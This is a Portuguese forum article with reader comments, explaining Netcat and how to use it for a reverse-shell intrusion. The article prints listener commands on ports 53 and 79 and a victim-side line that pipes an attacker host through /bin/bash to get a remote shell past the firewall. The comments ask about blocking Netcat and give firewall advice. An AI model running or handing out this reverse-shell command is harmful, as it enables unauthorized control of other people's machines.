Este artigo tem como objetivo explicar o funcionamento do canivete suíço do TCP/IP, o Netcat. Disponibilizado em versões para Linux, Windows, Solaris e FreeBSD, ele é um programa muito versátil, sendo desde um telnet "melhorado" até um escaneador de hosts e brute force.
A conexão reversa é um método de invasão parecida com
os trojans, porém ocorre de maneira contrária, ou seja,
não será o invasor que se conectará ao host, mas o host se
conectará ao invasor, concedendo-lhe poderes administrativos. O
mais surpreendente é que utilizando a imaginação, podemos fazer
isso com o Netcat. Vamos relembrar as características
aprendidas do Netcat:
Abrir portas;
Estabelecer conexão;
Redirecionar tráfego de uma porta para um programa.
Sabendo disso, vamos tomar um IP fictício de exemplo = 200.212.21.2.
O que teremos que fazer é abrir uma porta em nosso computador
local e fazer, executando um código arbitrário no computador da
vítima, com que ela se conecte ao nosso computador e nos conceda
poderes em sua máquina. Vamos no modo gráfico e abriremos duas
janelas, abrindo as portas 53 e 79:
$ nc -l -n -p 53 -vv
$ nc -l -n -p 79 -vv
Após isso, faremos com que a vítima execute o seguinte código
no computador dela:
$ nc <NOSSOIP> 53 | /bin/bash | nc <NOSSO IP> 79
Isso fará com que os comandos que nós dermos na porta 53, passem
pelo shell bash e a resposta seja redirecionada na porta 79.
Lembrando que as portas 53 e 79 foram utilizadas, pois o firewall
deixa essas portas abrirem, pois são de consultas DNS e FINGER
respectivamente.
[2] Comentário enviado por __FERNANDO__ em 17/03/2005 - 08:49h
Muito bom o artigo.
Cara tenho uma perguntinha..não conhecia este Netcat...e gostaria de saber se sabe uma regra de iptables que barre ele ?
Tipo, eu passei o netcat no ip da nossa outra loja e mostrou a porta por exemplo do SSH dele... não é a padrão (22)... digamos que eu mudei a porta do SSH para 8550...e quando passo por exemplo o nmap ele não mostra esta porta como aberta (ao menos eu acho, depois me diz se estou certo)...e já com o Netcat ele mostra exatamente a porta que o SSH está configurado e mostra como Open.
[6] Comentário enviado por ygorth em 17/03/2005 - 14:49h
Gostei muito do artigo...
Agora mudando um pouco o foco, dei muita risada quando li:
"Para responder à essa pergunta, vamos voltar ao nosso eletrizante episódio sobre o como o Netcat nasceu." haha sei lah porque :P
coisa de nerd leitor de HQ!
[7] Comentário enviado por leoberbert em 17/03/2005 - 17:12h
Cara.. fiquei muito contente por escrever este artigo.. ficou muito bom e muito completo. Espero que vc não use ele para o mal... eheheheheh!!!
Brincadeirinha... Parabéns!!!
[8] Comentário enviado por removido em 18/03/2005 - 11:58h
quanto ao NMAP eu jah estou fazendo uma materia sobre ele, jah estou acabando e em breve estarah disponivel, se quiserem eu mando um email pra vcs depois.
para barrar o netcat, temos que levar em consideracao que o escaneamento de portas dele utiliza o pactoe de dados SYN. basta fazer um scriptzinho em shell ou em perl que anule as portas de entrada SYN. vou fazer esse scriptizinho tb e se quiser eu mando pra vc FERNANDO.
Eh isso. Qualquer duvida postem ae....
[12] Comentário enviado por mhgferre em 03/04/2007 - 12:15h
Senhores, saudações!!!
Lembrem que um firewall com iptables é redirecionador, não abram portas inúteis e redirecionem somente as necessárias, vcs podem simular portas abertas com um programa para linux chamado portsentry, muito bom. Ele simula inclusive porta netbus aberta dentre as várias que realmente estão abertas e assim que um cliente faz a checagem das portas ele automaticamente (configuravel) vai para a lista de bloqueados dentro da tabela de roteamento ou seja, o cliente que escaneou a máquina não conseguirá nem pingar mais o host escaneado. Mas infelizmente essa tabela é perdida assim que o servidor é reiniciado. Mesmo assim não importa a segurança que você tenha se alguém de dentro da rede quiser te "detonar" como no exemplo do autor do artigo sobre a máquina a ser invadida procurar o invasor da rede interna para a externa. Segurança é uma área muito complexa pois você corta umas portas e o povo ataca por outras. Por exemplo, tirando as máquinas da internet via NAT desabilitando o iptables e usando apenas proxy, mesmo assim existe como se conectar usando o próprio proxy. Espero que eu tenha ajudado.